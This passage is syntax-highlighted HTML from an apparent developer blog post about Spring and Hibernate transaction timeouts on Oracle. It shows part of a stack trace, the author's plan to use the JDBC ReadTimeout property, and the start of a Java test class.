0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">invoke</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">TransactionInterceptor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">120</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">aop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">framework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ReflectiveMethodInvocation</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">proceed</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ReflectiveMethodInvocation</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">172</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
at org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">springframework</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">aop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">interceptor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ExposeInvocationInterceptor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">invoke</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ExposeInvocationInterceptor</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">java</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">89</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">)</span></code></span></pre>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;">
</span></div>
<div>
:(, I have been wait so long time, and finally got a timeout expired exception, what is the logic???? This exception should be thrown out once after the number of timeout seconds past.</div>
<div>
<br /></div>
<div>
Now that hibernate support transactin timeout by Statement.setQueryTimeout(), maybe I can call setQueryTimeout() directly. Oops! Spring/hibernate/C3p0 have wrapped the underlying implementation layer and layer, how can I see this method???<br />
<br />
Try other approach! After checking the document of oracle jdbc, yes, oracle jdbc driver supports a connection properties "Oracle.jdbc.ReadTimeout" which is actually a socket read timeout. I can use this properties to cancel/stop a timeout transaction.<br />
<br />
Test it first, I wrote a simple test class to verify my understanding.<br />
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">public</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">class</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JdbcQueryTimeoutTest</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">private</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">static</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Log</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> logger </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">LogFactory</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">getLog</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JdbcQueryTimeoutTest</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; 